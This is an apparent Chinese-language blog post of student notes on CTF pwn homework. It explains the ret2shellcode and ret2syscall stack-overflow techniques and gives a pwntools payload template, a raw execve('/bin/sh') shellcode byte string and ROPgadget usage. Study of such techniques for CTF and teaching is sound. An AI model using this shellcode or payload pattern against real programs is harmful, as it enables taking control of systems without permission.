CodeYarn青鸟川中青鸟

pwn3&4

Toretto·2022-12-10 17:41·66 次阅读

pwn3&4

pwn第二次作业

ret2shellcode#

适用范围#

没有后门函数 有rwx段(目前的初级题目)

方式#

过程#

将shellcode写入变量中 然后栈溢出劫持retaddr 然后执行

注意:当可用空间不足时shellcode可以写在返回地址后面,只要在书写payload时将地址篡改为返回地址后即可。

执行格式
Copy
shellcode=asm(shellcraft.sh()) len=buf长度+8 x = shellcode.ljust(len,'a') p.recv() p.sendline(x + p32(buf2_addr))

shellcraft#

  • 其为pwntools下的一个工具 功能为生成shell

  • 方法有两种

    1. shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

    2. from pwn import *
      shellcode=asm(shellcraft.sh())

      • 此默认为32位程序

      • 若想输出64位则输入shellcode=asm(shellcraft.amd64.sh)

        并且在此之前加入contest.arch="amd64"

      • asm为将汇编语言转化为机器码

      • shellcraft.sh()为生成一个shellcode

  • 在输出payload的时候因为难以数清楚payload具体字节数 因此我们选择利用ljust函数

    e.g:payload=asm(shellcraft.sh()).ljust(112,b'A')

    ljust(n,‘A’)功能:输入i个字符‘A’(i为总长度n减去已输入的长度的长度) 其中n为总长度,A为主要填充数据

ret2syscall#

适用范围#

没有后门函数 没有system函数 但是有/bin/sh或者cat flag

多用于静态链接的题目中。

方式#

image

过程#

我们可以先ropgadget,看程序中是否有mov eax等片段,如果有,我们就可以利用这些gadget来组合成一个shell来获取控制权

执行格式:#

image

ROPgadget使用#

使用格式#

​ ROPgadget --binary 文件名 --only "pop|ret"

posted @   Data_Error  阅读(66)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 使用C#创建一个MCP客户端
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示
目录